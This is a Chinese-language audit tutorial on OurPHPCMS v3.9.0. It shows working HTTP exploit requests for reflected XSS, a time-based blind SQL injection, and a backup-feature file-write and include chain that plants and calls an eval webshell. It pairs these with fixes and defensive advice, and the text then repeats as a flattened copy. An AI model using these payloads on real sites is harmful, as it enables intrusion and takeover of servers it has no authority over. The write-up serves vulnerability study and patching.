OurPHPCMS审计浅析
字数 2246 2025-08-24 16:48:07

OurPHPCMS 安全审计与漏洞分析教学文档

一、环境搭建

  1. 下载地址:

    • Gitee: ourphp企业+商城+小程序万能多国语言建站系统
    • 官网也可下载
  2. 版本信息:

    • 审计版本:v3.9.0(20211202)
  3. 安装方法:

    • 解压zip文件后进行常规安装

二、系统架构特点

  1. 未严格采用MVC架构
  2. 多处采用自定义的严格敏感词防护机制
  3. 前后台分离设计

三、前台漏洞分析

1. WAP端XSS漏洞

漏洞文件

  • /client/wap/ourphp_password.class.php
  • /client/wap/ourphp_system.class.php
  • /client/wap/ourphp_template.class.php

漏洞分析

  • $temptype参数未严格过滤
  • 通过$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);赋值
  • 最终在ourphp_password.class.php中直接输出$_GET['jsoncallback']

利用Payload

GET /client/wap/?user=telcode&jsoncallback=<script>alert(1);</script>-userpassword.html HTTP/1.1
Host: 127.0.0.1

修复建议
/client/wap/ourphp_password.class.php中的echo $_GET['jsoncallback'].json_encode($msg).")";加上htmlspecialchars()过滤。

2. User端XSS漏洞(两处)

第一处漏洞文件

  • /client/user/ourphp_password.class.php

利用Payload

GET /client/user/index.php?user=telcode&jsoncallback=<script>alert(1);</script>-password.html HTTP/1.1
Host: 127.0.0.1

第二处漏洞文件

  • /client/user/ourphp_userreg.class.php

利用Payload

GET /client/user/index.php?reg=1&code=2&jsoncallback=<script>alert(1);</script>-reg.html HTTP/1.1
Host: 127.0.0.1

修复建议
在两处echo $_GET['jsoncallback'].json_encode($msg).")";都加上htmlspecialchars()过滤。

四、后台漏洞分析

1. SQL注入漏洞

漏洞文件

  • /client/manage/ourphp_product.php
  • /client/manage/ourphp_productedit.php

漏洞分析

  • $optitleid参数未严格过滤
  • 通过$optitleid = implode(',',$_POST["optitleid"]);处理
  • 最终拼接进SQL语句:$sql = $db->create("update ourphp_productspecifications set OP_Value = if(OP_Value like '%".$cc[$i]."%',OP_Value,CONCAT(OP_Value,'|".$cc[$i]."')) where id = ".$id,2);

利用方法

  1. 构造特殊optitleid参数:
    optitleid[]='&optitleid[]=`OP_Specificationstitle`=(if(ascii(substr((select database()),1,1))>1,sleep(5),0))#&op[]=1&op[]=2&op[]=3
    
  2. 通过时间盲注获取数据

修复建议
$optitle改为admin_sql($optitle)进行过滤。

2. 后台写文件getshell漏洞

漏洞文件

  • /client/manage/ourphp_bakgo.php

漏洞分析

  1. 写文件部分

    • writefile函数可控制文件名和内容
    • 通过dealdata函数处理数据
    • 最终写入格式受限,但有绕过方法
  2. 文件包含部分

    • 备份系统生成的index.php中包含define("VERSION","1.1");
    • 同时包含可控文件:include("index_pg$_POST[loadpage].php");

利用步骤

  1. 写入webshell

    POST /client/manage/ourphp_bakgo.php?&framename=main HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 499
    
    faisunsql_postvars=WQIFCx1LDFAAWEFWRgMPU0MOQV9VWVQLQRQNCAwPBwgDSwkGXBpSA2sKDENAQFlFDVgLFVxfUAJZXlkSQhQMSwIJAgtEXFQ%2BQREGQloDD1MVWkINBAoREVpZQkMNRQ0JCQIRVQRnRgBHERRfRgZADURbBQ0SQlwMQRQNEgwPDRpcWmxVBFZXDFFAWEMOVFgUWBRDR1hAEVhGDAdSDBRaQUtJX24QXUQSXQ0NEg8RWAANQwQZBx4BVRcNSw%3D%3Deedd6c4b1d&fsqltable%5Bourphp_ad`","(Id_P int)");eval($_POST{cmd});%23%5D=2272%2C224&tabledumping=0&action=databackup&back_type=partsave&dosubmit=%E4%B8%8B%E4%B8%80%E6%AD%A5&dir=../../function/backup/202301151194&page=1
    
  2. 调用webshell

    POST /function/backup/2023011522/index.php?&framename=main HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 159
    
    db_pass=1&nextpgtimeout=2&db_safttemptable=1&action=%E5%AF%BC%E5%85%A5&loadpage=/../../202301151194/_pg1&cmd=print_r(scandir(db_temptable=ourphp_ad
    

修复建议

  1. include前去除$_POST['loadpage']中的../
  2. sqldumptable函数中过滤$table变量中的双引号:
    $table = str_replace('"', '', $table);
    

3. 后台模板getshell漏洞

漏洞分析

  • 模板编辑功能未严格过滤
  • 可直接写入PHP代码

利用方法

  1. 访问后台模板编辑功能
  2. 直接写入PHP代码并保存

五、漏洞总结

漏洞类型 位置 危害等级 修复建议
XSS WAP端 htmlspecialchars过滤输出
XSS User端(两处) htmlspecialchars过滤输出
SQL注入 后台商品管理 严格过滤输入参数
文件写入+包含getshell 后台数据库备份 严重 过滤路径跳转和特殊字符
模板getshell 后台模板管理 限制模板文件编辑权限

六、防护建议

  1. 对所有用户输入进行严格过滤
  2. 使用预编译语句防止SQL注入
  3. 对文件操作进行严格的路径检查
  4. 对输出到页面的内容进行HTML实体编码
  5. 限制后台功能的访问权限
  6. 实现严格的CSRF防护机制
  7. 对文件包含操作进行白名单限制

七、审计工具推荐

  1. Seay源代码审计系统
  2. PHP静态代码分析工具
  3. 动态调试工具(Xdebug)
  4. Burp Suite等抓包工具

八、学习要点

  1. 理解CMS的架构设计缺陷
  2. 掌握输入输出过滤的重要性
  3. 学习复杂漏洞的串联利用
  4. 掌握时间盲注等高级注入技术
  5. 理解文件包含漏洞的利用条件
  6. 学习如何绕过安全防护机制
OurPHPCMS 安全审计与漏洞分析教学文档 一、环境搭建 下载地址: Gitee: ourphp企业+商城+小程序万能多国语言建站系统 官网也可下载 版本信息: 审计版本:v3.9.0(20211202) 安装方法: 解压zip文件后进行常规安装 二、系统架构特点 未严格采用MVC架构 多处采用自定义的严格敏感词防护机制 前后台分离设计 三、前台漏洞分析 1. WAP端XSS漏洞 漏洞文件 : /client/wap/ourphp_password.class.php /client/wap/ourphp_system.class.php /client/wap/ourphp_template.class.php 漏洞分析 : $temptype 参数未严格过滤 通过 $ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]); 赋值 最终在 ourphp_password.class.php 中直接输出 $_GET['jsoncallback'] 利用Payload : 修复建议 : 在 /client/wap/ourphp_password.class.php 中的 echo $_GET['jsoncallback'].json_encode($msg).")"; 加上 htmlspecialchars() 过滤。 2. User端XSS漏洞(两处) 第一处漏洞文件 : /client/user/ourphp_password.class.php 利用Payload : 第二处漏洞文件 : /client/user/ourphp_userreg.class.php 利用Payload : 修复建议 : 在两处 echo $_GET['jsoncallback'].json_encode($msg).")"; 都加上 htmlspecialchars() 过滤。 四、后台漏洞分析 1. SQL注入漏洞 漏洞文件 : /client/manage/ourphp_product.php /client/manage/ourphp_productedit.php 漏洞分析 : $optitleid 参数未严格过滤 通过 $optitleid = implode(',',$_POST["optitleid"]); 处理 最终拼接进SQL语句: $sql = $db->create("update ourphp_productspecifications set OP_Value = if(OP_Value like '%".$cc[$i]."%',OP_Value,CONCAT(OP_Value,'|".$cc[$i]."')) where id = ".$id,2); 利用方法 : 构造特殊 optitleid 参数: 通过时间盲注获取数据 修复建议 : 将 $optitle 改为 admin_sql($optitle) 进行过滤。 2. 后台写文件getshell漏洞 漏洞文件 : /client/manage/ourphp_bakgo.php 漏洞分析 : 写文件部分 : writefile 函数可控制文件名和内容 通过 dealdata 函数处理数据 最终写入格式受限,但有绕过方法 文件包含部分 : 备份系统生成的 index.php 中包含 define("VERSION","1.1"); 同时包含可控文件: include("index_pg$_POST[loadpage].php"); 利用步骤 : 写入webshell : 调用webshell : 修复建议 : 在 include 前去除 $_POST['loadpage'] 中的 ../ 在 sqldumptable 函数中过滤 $table 变量中的双引号: 3. 后台模板getshell漏洞 漏洞分析 : 模板编辑功能未严格过滤 可直接写入PHP代码 利用方法 : 访问后台模板编辑功能 直接写入PHP代码并保存 五、漏洞总结 | 漏洞类型 | 位置 | 危害等级 | 修复建议 | |---------|------|---------|---------| | XSS | WAP端 | 中 | htmlspecialchars过滤输出 | | XSS | User端(两处) | 中 | htmlspecialchars过滤输出 | | SQL注入 | 后台商品管理 | 高 | 严格过滤输入参数 | | 文件写入+包含getshell | 后台数据库备份 | 严重 | 过滤路径跳转和特殊字符 | | 模板getshell | 后台模板管理 | 高 | 限制模板文件编辑权限 | 六、防护建议 对所有用户输入进行严格过滤 使用预编译语句防止SQL注入 对文件操作进行严格的路径检查 对输出到页面的内容进行HTML实体编码 限制后台功能的访问权限 实现严格的CSRF防护机制 对文件包含操作进行白名单限制 七、审计工具推荐 Seay源代码审计系统 PHP静态代码分析工具 动态调试工具(Xdebug) Burp Suite等抓包工具 八、学习要点 理解CMS的架构设计缺陷 掌握输入输出过滤的重要性 学习复杂漏洞的串联利用 掌握时间盲注等高级注入技术 理解文件包含漏洞的利用条件 学习如何绕过安全防护机制